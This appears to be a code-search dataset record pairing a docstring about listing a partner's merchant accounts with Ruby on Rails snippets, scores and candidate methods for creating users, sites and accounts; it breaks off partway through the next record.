"def create\n @user = User.new(params[:user])\n @user.customer = Customer.new(params[:user][:customer_attributes])\n @user.origin = Origin.find_by_code(cookies[:origin]) if (cookies[:origin] and !Origin.find_by_code(cookies[:origin]).nil?)\n @user.partner_id = partner\n @quietly_create = params[:quietly_create] || false\n \n if User.exists?(:email => @user.email)\n flash[:error] = \"<img src='/images/logo.png' align='left' width='99' style='margin: 0pt 10px 10px 0pt; position: relative; top: -12px;'/><strong>This email is already registered with WTD</strong>. <br/><br/>Forgot your password? You can <a href='/forgot_password'>reset your password here</a>.\"\n redirect_to login_path and return\n end\n \n # setup promo code from params\n if !params[:referral_code].blank? and PromotionCode.exists?(:code => params[:referral_code])\n @promotion_code = PromotionCode.find_by_code(params[:referral_code])\n elsif !session[:stored_promotion_code_id].blank? and PromotionCode.find(session[:stored_promotion_code_id])\n @promotion_code = PromotionCode.find(session[:stored_promotion_code_id])\n else\n @promotion_code = nil\n end\n\n # quiet create extras\n if @quietly_create\n # @user.email_confirmation = @user.email if @user.email_confirmation.blank?\n @user.password = @user.temporary_password\n @user.password_confirmation = @user.password\n @user.quietly_created = true\n @user.customer.quietly_created = true\n end\n\n # add survey question if present\n session[:survey_question_value] = params[:survey_question_value] unless params[:survey_question_value].blank?\n \n # update subscriptions and tracking analytics\n if @user.update_subscriptions(request.referrer, nil, true)\n session[:new_subscriber] = true\n session[:new_subscriber_email] = @user.email\n end\n \n \n # check promo code and attempt to save user\n if !@promotion_code.nil? and !@promotion_code.redeemable?\n flash[:error] = 'Sorry, but that promo code is not redeemable!'\n render :action => 'new'\n elsif @user.save \n flash[:notice] = \"<strong>Success! You're officially part of the WTD family.</strong>\" unless @quietly_create\n \n # trigger analytics to track\n session[:new_user] = true\n session[:new_subscriber_user_id] = @user.id\n\n # check referrals and credits\n unless @promotion_code.nil?\n unless @promotion_code.bad_referral?(@user.id)\n @credit = Credit.new\n @credit.promotion_code_id = @promotion_code.id\n @credit.value = @promotion_code.value\n @credit.user_id = @user.id\n @credit.referrer_user_id = @promotion_code.user_id\n @credit.save\n else\n flash[:error] = \"Sorry, but there seems to be something wrong with your referral. Please check back in an hour or email us at [email protected].\"\n end\n end\n \n flash[:notice] = params[:flash_notice] || \"Welcome, you are now officially part of the WTD family!\"\n flash[:notice] += \"<br/><br/><strong>Please <a href='/users/change_password'>choose a password</a> to complete your WTD account.</strong>\" if @user.quietly_created?\n flash[:notice] = \"Thanks for signing up for Half Price DC\" if partner == 3\n redirect_to session[:return_to] ? session[:return_to] : my_account_path\n else\n @user.password = \"\"\n @user.password_confirmation = \"\"\n flash[:error] = \"<strong>Be sure to include your first name, last name and a valid email address</strong>. <br/><br/>Remember, If you subscribed to our newsletter, you already have an account. Forgot your password? You can <a href='/forgot_password'>reset your password here</a>.\" if @user.errors.empty?\n session[:return_to] ? redirect_to(session[:return_to]) : render(:action => 'new')\n end\n end",
"def create_omniauth\n omniauth_params = request.env['omniauth.params']\n org_uid = omniauth_params['state'] if omniauth_params\n response = request.env['omniauth.auth']\n\n return redirect_to root_url unless is_admin && org_uid && response\n\n shop_name = response.uid\n current_organization.from_omniauth(response)\n\n current_organization.instance_url = \"https://#{shop_name}/admin\"\n\n unless current_organization.save\n flash[:alert] = \"Oops, your account could not be linked. #{format_errors(current_organization)}\"\n return redirect_to root_url\n end\n\n token = response['credentials']['token']\n session[:show_popup] = !is_same_currency\n\n Shopify::Webhooks::WebhooksManager.queue_create_webhooks(org_uid, shop_name, token)\n redirect_to root_url\n\n rescue Shopify::Webhooks::WebhooksManager::CreationFailed => e\n Maestrano::Connector::Rails::ConnectorLogger.log('warn', current_organization, \"Webhooks could not be created: #{e}\")\n redirect_to root_url\n end",
"def register(partner_id, user, password)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'partnerId', partner_id)\n\t\t\tclient.add_param(kparams, 'user', user)\n\t\t\tclient.add_param(kparams, 'password', password)\n\t\t\tclient.queue_service_action_call('ottuser', 'register', 'KalturaOTTUser', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend",
"def create\n @site_url = SiteUrl.new(site_url_params)\n\n respond_to do |format|\n if @site_url.save\n format.html { redirect_to @site_url, notice: \"Site url was successfully created.\" }\n format.json { render :show, status: :created, location: @site_url }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @site_url.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @partner_profile = PartnerProfile.new(partner_profile_params)\n\n respond_to do |format|\n if @partner_profile.save\n format.html { redirect_to @partner_profile, notice: 'Partner profile was successfully created.' }\n format.json { render :show, status: :created, location: @partner_profile }\n else\n format.html { render :new }\n format.json { render json: @partner_profile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @site = current_user.sites.build(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_website(website_name=nil)\n set_param(:method, 'SitesManager.addSite')\n if website_name == nil # post path\n set_param(:siteName, get_param(:website_name))\n set_param(:urls, get_param(:website_name))\n else # login path\n set_param(:siteName, website_name)\n set_param(:urls, website_name)\n end\n\n url_string = @metrics_admin_url + @metrics_params.slice(:module, :method, :siteName, :urls, :ecommerce, :timezone,\n :token_auth).to_query\n xstring = api_call(url_string)\n site_id = xstring.xpath('//result/text()').map(&:text)[0]\n set_param(:idSite, site_id)\n site_id.to_i\n end",
"def create\n user = User.new(user_params)\n if user.save\n auth_token = AuthenticateUser.new(user.email, user.password).call\n response = { message: Message.account_created, auth_token: auth_token }\n json_response(response, :created)\n else\n response = { message: Message.account_not_created}\n json_response(response)\n end\n\n end",
"def create\n megam_rest.post_accounts(to_hash)\n end",
"def create\n @partner = Partner.new(partner_params)\n\n respond_to do |format|\n if @partner.save\n format.html { redirect_to @partner, notice: 'Partner was successfully created.' }\n format.json { render :show, status: :created, location: @partner }\n else\n format.html { render :new }\n format.json { render json: @partner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_new_account(email, full_name=nil, password=nil)\n return call('User.create', {'email' => email, 'full_name' => full_name,\\\n 'password' => password})\n end",
"def create(customer_id, wallet)\n\t\t\t\tJuspayCheckout::ExpressCheckout.request(\"/customers/#{customer_id}/wallets\", 'post', {command: \"authenticate\", gateway: wallet})\n\t\t\tend",
"def create\n params[:site][:virtualhost] = nil if params[:site][:virtualhost] =~ /^\\s*$/\n @site = current_user.sites.build(params[:site])\n\n respond_to do |format|\n if @site.save\n flash[:notice] = 'Site was successfully created.'\n format.html { redirect_to(@site) }\n format.xml { render :xml => @site, :status => :created, :location => @site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @site.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_customer_account\n self.create_account! unless self.account\n end",
"def create\n @partner_type = PartnerType.new(params[:partner_type])\n\n respond_to do |format|\n if @partner_type.save\n format.html { redirect_to @partner_type, notice: 'Partner type was successfully created.' }\n format.json { render json: @partner_type, status: :created, location: @partner_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @partner_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sign_up\n request_params = {\n host_url_with_protocol: host_url_with_protocol,\n host_url: host_url,\n entity_type: GlobalConstant::TemplateType.registration_template_type\n }\n service_response = GlobalConstant::StTokenSale.get_client_details(request_params)\n\n # Check if error present or not?\n unless service_response.success?\n render_error_response(service_response)\n return\n end\n\n @presenter_obj = ::Web::Client::Setup.new(service_response, params)\n\n redirect_to '/token-sale-blocked-region', status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.is_blacklisted_ip?(get_ip_to_aml_countries)\n redirect_to \"/login\", status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.has_registration_ended?\n set_page_meta_info(@presenter_obj.custom_meta_tags)\n end",
"def create_api_credentials\n ::ApiCredentials::Create.new({client_id:@client_id}).perform\n end",
"def create\n respond_to do |format|\n if @site = Site.find(entity_id_from_params(:site))\n current_user.account.sites << @site\n format.html { redirect_to root_path, notice: \"The site #{@site.name} @ #{@site.companies.last.name} was successfully added.\" }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @siteuser = Siteuser.new(siteuser_params)\n\n respond_to do |format|\n if @siteuser.save\n format.html { redirect_to @siteuser, notice: 'Siteuser was successfully created.' }\n format.json { render :show, status: :created, location: @siteuser }\n else\n format.html { render :new }\n format.json { render json: @siteuser.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_initial_account_and_profile!\n account = accounts.create!(name: I18n.t('.default.account.name'))\n profiles.create!(name: I18n.t('.default.profile.name'), account_id: account.id)\n end",
"def associate_with_social_account(social_params, social_image_cookie, social_bio_cookie)\n if social_params[\"provider\"].blank? || social_params[\"uid\"].blank?\n Airbrake.notify(:error_class => \"Logged Error\", :error_message => \"SOCIAL CREDENTIALS: The social credentials for #{self.id} did not get passed in from the sign up form. This is what we received: Provider = #{social_params[\"provider\"]} ; UID = #{social_params[\"uid\"]}\") if Rails.env.production?\n else\n # create a new social network record for storing their auth data in\n new_network ||= self.social_networks.new(:provider => social_params[\"provider\"].strip.downcase, :uid => social_params[\"uid\"].strip.downcase, :token => social_params[\"oauth_token\"], :token_secret => social_params[\"oauth_token_secret\"])\n if !new_network.save\n Airbrake.notify(:error_class => \"Logged Error\", :error_message => \"SOCIAL CREDENTIALS: Error creating social credentials for #{self.id} with these params: Provider = #{social_params[\"provider\"]} ; UID = #{social_params[\"uid\"]}\") if Rails.env.production?\n end\n end\n \n # upload their image\n begin\n self.set_new_user_image(nil, social_image_cookie, false, true)\n rescue\n Airbrake.notify(:error_class => \"Logged Error\", :error_message => \"PROFILE IMAGE: Error SAVING image from a social signup for #{self.email}. The image was #{social_image_cookie}\") if Rails.env.production?\n end\n \n # set their bio \n self.profile.update_attribute('bio', truncate(social_bio_cookie, :length => 140, :omission => '...')) \n end",
"def create(params)\n put('v1/account', params)\n end",
"def create_org_member\n @organization = Organization.find(params[:organization_id].to_i)\n @email = params[:email]\n\n @first_name = params[:first_name]\n @last_name = params[:last_name]\n @pw = params[:password]\n @pw_confirmation = params[:password_confirmation]\n\n # TODO check if authtoken is in sess variable\n # If so, only update user password\n \n # Allocate User account, dashboard, and profile \n @user = User.create(\n email: @email,\n password: @pw,\n password_confirmation: @pw_confirmation,\n organization: @organization\n )\n if @user\n Dashboard.create(\n lead_email: @email, \n lead_name: \"#{@first_name} #{@last_name}\",\n user: @user\n )\n\n profile = Profile.find_or_create_by!(email: @email) do |profile|\n profile.first_name = @first_name\n profile.last_name = @last_name\n profile.dashboard_registered = true\n end\n\n profile.update(user: @user)\n\n # Create zoho lead record\n if [email protected]? && @organization.name != 'test'\n ZohoService.save_to_zoho(profile)\n end\n\n #sign in newly created user\n sign_in(@user, scope: :user)\n # Setting up alias to map user id to mixapanel unique id. So we can use userid moving forward\n mixpanel_distinct_id = params[:distinct_id]\n @tracker.alias(@user.id,mixpanel_distinct_id)\n @tracker.people.set(@user.id,{\n '$first_name' => @user.profile.first_name,\n '$last_name' => @user.profile.last_name,\n '$email' => @user.email,\n '$phone' => @user.profile.phone\n },@user.current_sign_in_ip.to_s)\n @tracker.track(@user.id,'User account created for org. member')\n\n # flash[:notice] = 'Welcome to MyDomino!'\n \n render json: {\n message: 'User added',\n status: 200\n }, status: 200\n else\n render json: {\n message: 'Error adding user',\n status: 400\n }, status: 400\n end\n end",
"def create_account\n if new_record? && !self.account_id\n account = Account.new\n account.name = \"Preecha o nome da sua empresa\"\n account.save\n self.account_id = account.id\n self.admin = true\n end\n end",
"def create\n user = User.create!(user_params)\n auth_token = AuthenticateUser.new(user.email, user.password).call\n response = { message: Message.account_created, auth_token: auth_token }\n @api_response[:code] = @response_codes[:success]\n @api_response[:result] = response\n\n rescue Exception => e\n @errors, @api_response = api_exception_handler(e)\n ensure\n send_response(@api_response, @errors)\n #json_response(response, :created)\n end",
"def create\n user_id = session[:user_id] \n if user_id \n all_params = site_params\n all_params[:date] = Date.strptime(all_params[:date],'%m/%d/%Y') \n site = Site.new(all_params)\n if site.valid?\n site.save\n redirect_to '/sites/' + site.id.to_s + '/upload'\n else\n err = site.errors.messages\n err_str = \"\\n\"\n err.each do |key, value|\n err_str += \"#{key}:#{value}\\n\"\n end\n flash[:danger] = \"Oooops - sorry, something went wrong while saving your new site: \" + err_str\n redirect_to '/'\n end\n else \n open_id = URI.encode(params[:open_id])\n tmp = Sitetmp.new(site_params)\n tmp.nonce = nonce\n tmp.save\n to_url = '/login?n=' + tmp.nonce + '&open_id=' + open_id\n redirect_to to_url \n end\n end",
"def newaccount\n if params[:commit] == \"Cancel\"\n session[:authhash] = nil\n session.delete :authhash\n redirect_to root_url\n else # create account\n @newuser = User.new\n @newuser.name = session[:authhash][:name]\n @newuser.email = session[:authhash][:email]\n @newuser.services.build(:provider => session[:authhash][:provider], :uid => session[:authhash][:uid], :uname => session[:authhash][:name], :uemail => session[:authhash][:email])\n \n if @newuser.save!\n # signin existing user\n # in the session his user id and the service id used for signing in is stored\n session[:user_id] = @newuser.id\n session[:service_id] = @newuser.services.first.id\n \n flash[:notice] = 'Your account has been created and you have been signed in!'\n\tif session[:authhash][:provider] == 'facebook'\n\t\tredirect_to services_facebook_redirect_path\n\telse\n \tredirect_to services_path\n\tend\n else\n flash[:error] = 'This is embarrassing! There was an error while creating your account from which we were not able to recover.'\n redirect_to root_url\n end \n end\n end",
"def create\n @oauth_account = OauthAccount.new(oauth_account_params)\n\n respond_to do |format|\n if @oauth_account.save\n format.html { redirect_to login_oauth_accounts_url(redirect_uri: params[:redirect_uri]) }\n format.json { render :show, status: :created, location: @oauth_account }\n else\n format.html { render :new }\n format.json { render json: @oauth_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @corporate_user, password = User.create_corp_user(corporate_user_params)\n respond_to do |format|\n if @corporate_user.save\n admin_email = User.where(id: @corporate_user.parent_id).first.email\n InviteUser.corporate_user_confirmation(@corporate_user,admin_email,password).deliver\n format.html { redirect_to corporate_users_path, notice: \"#{APP_MSG['corporate_user']['create']}\" }\n format.json { render :show, status: :created, location: corporate_user_path }\n else\n format.html { render :new }\n format.json { render json: @corporate_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_tenant\n Apartment::Tenant.create(account.tenant) do\n initialize_account_data\n account.switch do\n create_defaults\n fillin_translations\n add_initial_users\n schedule_recurring_jobs\n true\n end\n end\n end",
"def create\n @site = Site.new(site_params)\n @site.user_id = current_user.id if current_user\n @site.member_id = current_member.id if current_member\n @site.typo = ['personal', 'business'].delete(params[:typo].to_s.downcase) || 'personal'\n\n respond_to do |format|\n if @site.save!\n if params[:typo] == 'business'\n @site.site_payment.price = ENV[\"PRICE_BUSINESS\"]\n @site.site_payment.save!\n end\n if @site.template.property == 'free'\n @site.set_free\n end\n #build site_page via template_page\n Templates::Page.where(template_id: @site.template_id).order(\"position ASC\").each do |temp_page|\n @site.site_pages.create(\n site_id: @site.id, \n template_page_id: temp_page.id,\n title: temp_page.title)\n end\n #add a comment\n SiteComment.create(site_id: @site.id, name: '维斗喜帖', content: '小维斗来过,提前送上一声祝福~')\n \n #send notice to admin\n # if Rails.env == 'production'\n # SmsSendWorker.perform_async(ENV['ADMIN_PHONE'].split('|').join(','), \"#{@site.user.try(:email) || @site.member.try(:auth_id)}创建了应用:#{get_site_url(@site)}\")\n # end\n #redirect\n format.html { redirect_to site_site_steps_path(@site), notice: t('notice.site.created') }\n format.json { render action: 'show', status: :created, location: @site }\n else\n format.html { render action: 'new' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\r\n @social_account = SocialAccount.new(social_account_params)\r\n @social_account.user_id = current_user.id\r\n @social_account.email = current_user.email\r\n\r\n respond_to do |format|\r\n if @social_account.save\r\n\r\n logger.debug(\"========\")\r\n logger.debug(params[:account_transfer][:inheritor_email])\r\n\r\n account_transfer = AccountTransfer.new(\r\n inheritor_email: params[:account_transfer][:inheritor_email],\r\n transferable_type: \"SocialAccount\",\r\n transmitter_id: current_user.id,\r\n transferable_id: @social_account.id\r\n )\r\n\r\n inheritor = User.find_by_email(params[:account_transfer][:inheritor_email])\r\n account_transfer.inheritor_id = inheritor.id if inheritor\r\n\r\n if account_transfer.save\r\n UserMailer.with(inheritor: @inheritor).welcome_email.deliver_later\r\n format.html { redirect_to root_url, notice: 'Social account was successfully created.' }\r\n format.json { render :show, status: :created, location: @social_account }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @social_account.errors, status: :unprocessable_entity }\r\n end\r\n else\r\n format.html { render :new }\r\n format.json { render json: @social_account.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n user = User.create!(user_params)\n auth_token = AuthenticateUser.new(user.email, user.password).call\n response = { message: Message.account_created, auth_token: auth_token }\n json_response(response, :created)\n end",
"def create\n user = User.create!(user_params)\n auth_token = AuthenticateUser.new(user.email, user.password).call\n response = { message: Message.account_created, auth_token: auth_token }\n json_response(response, :created)\n end",
"def create\n user = User.create!(user_params)\n auth_token = AuthenticateUser.new(user.email, user.password).call\n response = { message: Message.account_created, auth_token: auth_token }\n json_response(response, :created)\n end",
"def createAPI\n \n idLoL = LOL_WRAPPER.get_summoner_id(params[:accname], params[:region])\n #Find the summoner with the corresponding id and region\n @summoner = LOL_WRAPPER.get_summoner_by_id(idLoL, params[:region])\n \n #Create or update the corresponding account in our database\n if Account.exists?(:idLoL => idLoL)\n @account = Account.find_by_idLoL(idLoL)\n @account.pseudoLoL = @summoner.name\n @account.save\n else\n @account = Account.new(idLoL: idLoL, region: params[:region], pseudoLoL: @summoner.name)\n @account.save\n end\n\n @trackgroup.accounts << @account\n redirect_to(:back)\n \n end",
"def create\n user = User.find_by_email(params[:email])\n if !user.present?\n user = User.create!(user_params)\n user.account_active = false\n user.save!\n accountHash = AccountHash.create(:hashcode => create_hashcode, :user_id => user.id, :password => user.password, :temp_email => nil)\n AppropMailer.account_created(user, accountHash).deliver\n render json: { message: Message.account_created, hashcode: accountHash.hashcode }\n else\n json_response({error: 'El email ya se encuentra registrado en Approp'}, :unprocessable_entity)\n end\n end",
"def create_site(params={name:random_string})\n\t\tnew_site = site[:new]\n\t\tparams[:site] = params[:name]\n\t\tnew_site[:params].merge!(params)\n\t\tnew_site[:params][:address] = append_ftp_value(new_site[:params][:address],new_site[:params][:ftp_type])\n\t\tpost(new_site)\n\tend",
"def create_account_and_login(email: '[email protected]', password: 'secret')\n account = Account.create(email: email, password: password)\n visit new_account_session_path\n fill_in 'Email', with: '[email protected]'\n fill_in 'Password', with: 'secret'\n click_on 'Log in'\n account\nend",
"def create(attributes)\n response = JSON.parse(@client.post('paypal_accounts', attributes).body)\n Promisepay::PaypalAccount.new(@client, response['paypal_accounts'])\n end",
"def create\n outcome = Merchants::Create.run(merchant_params)\n\n # Then check to see if it worked:\n if outcome.success?\n render_success_response({ merchant: outcome.result })\n else\n render_unprocessable_entity(outcome.errors.symbolic)\n end\n end",
"def create\n\t\t@merchant = Merchant.new(merchant_params)\n\n\t respond_to do |format|\n\t if @merchant.save\n\t\t\t# find the corresponding merchant application by email, and set its status\n\t\t # to true so that it won't show up as an application anymore\n\t\t \t@MerchantApplication = MerchantApplication.find_by(email: params[:merchant][:email])\n\t\t \tif !(@MerchantApplication.nil?) #check to see if merchant application is nil\n\t\t\t \[email protected] = \"true\"\n\t\t\t \[email protected]! # important save\n\t\t \tend\n\t\t #----------------------------------------------------------------#\n\n\t format.html { redirect_to '/admin_dashboard/main', notice: 'Merchant was successfully created.' }\n\t format.json { render action: 'thanks', status: :created, location: '/admin_dashboard/main' }\n\t else\n\t format.html { render action: 'new_merchant' } \n\t format.json { render json: @merchant.errors, status: :unprocessable_entity } # maybe find substitute for this since errors shown client side\n\t end\n\t end\n\tend",
"def new_site_create(params={})\n study_study_sites.set params[:site_name]\n site_number.set params[:site_number]\n study_site_number.set params[:study_site_number]\n end",
"def create\n @site = Site.new(site_params)\n respond_to do |format|\n if @site.save\n format.html { redirect_to user_path(@user), notice: 'サイトを作成しました' }\n format.json { render user_path(@user), status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @practice = Practice.new(practice_params)\n if params[:recruiter_partner].present?\n @partner = Partner.find(params[:recruiter_partner])\n @practice.partners << @partner\n end\n\n @practice.site_id = @current_partner.site.id\n\n respond_to do |format|\n if @practice.save\n format.html { redirect_to partner_path(current_partner), notice: 'Practice was successfully created.' }\n format.json { render :show, status: :created, location: @practice }\n else\n format.html { render :new }\n format.json { render json: @practice.errors, status: :unprocessable_entity }\n end\n end\n end",
"def createLead\n #@testDataJSON['CreateOpportunity'][0]['lead'][0]['email'] = \"test_johnsmith#{rand(99999999999999)}@example.com\"\n\n #puts @driver.current_url()\n #puts @leadsTestData\n #@result= @helper.createSalesforceRecord('Lead',@leadsTestData)\n #puts @result\n #url = @driver.current_url();\n #newUrl = url.split('/')\n #@driver.get \"#{newUrl[0]}//#{newUrl[2]}/#{@result[0]['Id']}\"\n #puts \"Lead created suceessfully\\n \"\n end",
"def create(product_id, amount, currency, transaction_time, reference_number,\n store_number, terminal_number, base_transaction_id, message_reason_code)\n\n @request = setup_request \"#{@@resource_url}/createAccount\"\n hash = {\n productId: product_id, amount: amount, currency: currency,\n transactionTime: transaction_time, retrievalReferenceNumber: reference_number,\n storeNumber: store_number, terminalNumber: terminal_number,\n baseTransactionId: base_transaction_id, messageReasonCode: message_reason_code\n }\n @request.body = hash.to_json\n @request\n end"
] | [
"0.64207494",
"0.6268997",
"0.6245074",
"0.61792254",
"0.6104637",
"0.60928756",
"0.57629335",
"0.5729927",
"0.56824976",
"0.5669477",
"0.5658456",
"0.5627027",
"0.55325294",
"0.5531181",
"0.5525122",
"0.55223644",
"0.5500712",
"0.5500712",
"0.5370069",
"0.53438497",
"0.5313513",
"0.5296766",
"0.5288061",
"0.5281488",
"0.52778804",
"0.5221951",
"0.52105385",
"0.5196091",
"0.5182854",
"0.51616234",
"0.51594955",
"0.51541513",
"0.515411",
"0.5143977",
"0.51374084",
"0.5127427",
"0.5127421",
"0.51166975",
"0.5116608",
"0.51142555",
"0.5110157",
"0.5089036",
"0.50876564",
"0.5083966",
"0.5052461",
"0.5038753",
"0.50234514",
"0.50079536",
"0.500424",
"0.49865505",
"0.49865505",
"0.4978047",
"0.49774548",
"0.4977145",
"0.4976668",
"0.49731874",
"0.49525756",
"0.49469408",
"0.4940082",
"0.49379686",
"0.4922259",
"0.4921314",
"0.49210182",
"0.49205264",
"0.491944",
"0.49088755",
"0.4907526",
"0.48818627",
"0.48776418",
"0.48664814",
"0.48632196",
"0.48597834",
"0.48570567",
"0.48482758",
"0.48417318",
"0.4831441",
"0.4823999",
"0.48229605",
"0.48206016",
"0.4820412",
"0.48191452",
"0.48183313",
"0.48159817",
"0.48112345",
"0.48108083",
"0.48083597",
"0.48083597",
"0.48083597",
"0.48080406",
"0.48033404",
"0.48016998",
"0.48005998",
"0.47976348",
"0.47933656",
"0.47919804",
"0.4790385",
"0.47890106",
"0.4785565",
"0.4785131",
"0.47794527"
] | 0.6580291 | 0 |
Gets a listing of the ids and keys for all merchant accounts that have been created by this partner. When successful, returns a hash including the key :data, which is an array of account descriptions. (Each element has the same structure as a single response from new_account). | def get_accounts()
http_get(accounts_url)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def fetch_accounts\n log 'fetch_accounts'\n data = get(PRODUCTS_ENDPOINT, fields: { carteras: false,listaSolicitada: 'TODOS',indicadorSaldoPreTarj: false })\n cuentas = data['datosSalidaCuentas']['cuentas'].zip(data['datosSalidaCodIban']['datosIban'])\n cuentas.map{ |data| build_account(data) }\n end",
"def accounts\n return [] if self.id.nil?\n @accounts ||= \n OrgSync::Base.request(\"#{self.class.endpoint}/#{self.id}/accounts\", {}, @api_key).map { |json| \n OrgSync::Account.new(json, @api_key) \n }\n end",
"def fetch_accounts\n log 'fetch_accounts'\n\n custom_headers = {\n 'Content-Type' => 'application/json; charset=UTF-8',\n 'Contexto' => get_context\n }\n\n params = {\n \"peticionCuentasKYOSPaginadas\" => {\n \"favoritos\" => false,\n \"paginacion\" => \"0\"\n }\n }\n\n response = with_headers(custom_headers) do\n post(BASE_ENDPOINT + ACCOUNTS_ENDPOINT, fields: params.to_json)\n end\n\n json = JSON.parse(response)\n\n if json['respuestacuentas']['cuentas'].is_a? Array\n # TODO: test this with a user with multiple accounts\n json['respuestacuentas']['cuentas'].map { |data| build_account(data) }\n else\n [build_account(json['respuestacuentas']['cuentas'])]\n end\n end",
"def accounts\n response = query_api(\"/rest/accounts\")\n return response[\"accounts\"].map {|account| Account.new(self, account)}\n end",
"def get_account_names(data)\n new_accounts_hash = {}\n api = QboApi.new(oauth_data)\n JSON.parse(data).each do |k,v|\n this_account = api.get :account, v\n new_accounts_hash[k] = {val: v, name: this_account[\"Name\"]}\n end\n new_accounts_hash\n end",
"def accounts\n request = request(method: :get, path: \"/Account.json\")\n response = request.perform\n instantiate(response[\"Account\"], Lightspeed::Account)\n end",
"def listaccounts\n return {} unless node.wallet\n accounts = {}\n node.wallet.accounts.each do |a|\n accounts[a.name] = node.wallet.get_balance(a)\n end\n accounts\n end",
"def account_details(*paramaters)\n accounts = []\n unless self.list_accounts.blank?\n self.list_accounts.each do |account|\n details = {} \n account.each do |key, value|\n if paramaters.include? key\n details[key] = value\n end\n end\n accounts << details\n end\n accounts\n end\n end",
"def accounts\n account_data = request('listaccounts')\n account_data.map do |account_name, account_value|\n Account.new(self, account_name, account_value, false)\n end\n end",
"def all\n @dealing_platform.gather 'accounts', :accounts, Account\n end",
"def get_accounts\n response_xml = http_get(@client, \"#{xero_url}/Accounts\")\n parse_response(response_xml, {}, {:request_signature => 'GET/accounts'})\n end",
"def get_accounts\n response_xml = http_get(\"#{xero_url}/accounts\")\n parse_response(response_xml)\n end",
"def getAccounts\n broker_url = APP_CONFIG['broker_ip'] + ':' + APP_CONFIG['broker_port'].to_s\n http = broker_url + \"/resources/accounts\"\n res = httpGETRequest(http)\n return res\n end",
"def accounts\n get('/accounts')['accounts']\n end",
"def list\n token = SocialService::Facebook.renew_token(token_params)\n\n accounts =\n SocialService::Facebook\n .accounts(token)\n .reject { |a| a[:id].in?(facebook_account_ids) }\n\n render json: { accounts: accounts }\n end",
"def get_list_acc\n JSON.parse(curl_get(\"accounts\").body_str)\n end",
"def accounts\n db.accounts.map do |raw|\n a = Account.parse_from_payload(raw)\n a.wallet = self\n a\n end\n end",
"def get_accounts_info(customer_id=nil, only_parent_accounts=false)\n\t\t\tresponse = call(:get_accounts_info, \n\t\t\t\t{customer_id: customer_id || self.client_proxy.customer_id, \n\t\t\t\tonly_parent_accounts: only_parent_accounts.to_s})\n\t\t\tresponse_hash = get_response_hash(response, __method__)\n\t\t\taccounts = response_hash[:accounts_info][:account_info].map do |account_hash|\n\t\t\t\tBingAdsApi::AccountInfo.new(account_hash)\n\t\t\tend\n\t\t\treturn accounts\n\t\tend",
"def accounts\n Management::Account.all(self)\n end",
"def get_accounts\n @accounts = Account.all\n end",
"def all\n result = @dealing_platform.session.get('accounts').fetch :accounts\n\n @dealing_platform.instantiate_models Account, result\n end",
"def hash\n [account_id, account_service_ids, address, api_key, city, code, country, create_time, created_by_email, created_by_id, delete_time, email, enabled, first_name, id, is_main_user, last_launched_test_time, last_login_time, last_name, main_user_email, main_user_id, mfa_qr_code_url, mfa_status, organization, origin_portal, phone, registration_ip, roles, self_uri, service_ids, state, status, time_zone, vat_id].hash\n end",
"def create\n @account = current_user.accounts.build params[:account]\n \n account_array = accounts_from_credentials @account.api_email, @account.api_password\n \n accounts = account_array.map do |account_info|\n account = current_user.accounts.build params[:account]\n \n account.api_id = account_info.accountID\n account.api_name = account_info.accountName\n account.api_user_id = account_info.userID\n \n account\n end\n\n respond_to do |format|\n if !accounts.blank? && accounts.map(&:valid?).all? && accounts.map(&:save).all?\n flash[:notice] = \"#{accounts.size == 1 ? 'Account was' : \"#{accounts.size} accounts were\"} successfully created.\"\n format.html { redirect_to(@account) }\n format.xml { render :xml => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def merchant_list\n @merchant_list ||= @api.associations\n end",
"def all_accounts\n puts params[:id]\n accounts = []\n user = User.find params[:id]\n user.accounts.each do |f|\n accounts << {id:f.id, title: f.title}\n end\n render json: accounts\n end",
"def hash\n [partner_short_id, full_name, type, payment_scenario, telephone, site_url, distribution_manager, level, is_external_partner, parent_partner, top_partner, brand_name_for_site, web_site_url, partner_level_name, legal_address, tax_number, main_state_reg_number, is_has_telephony, soft_phone_users, web_rtc_users, all_users, server_url, top_partner_size, top_partner_size_name, not_suspended_count, suspended_count, manager_count, root_partner_name, created_by, created_on, modified_by, modified_on, id, name, state_code, status_code].hash\n end",
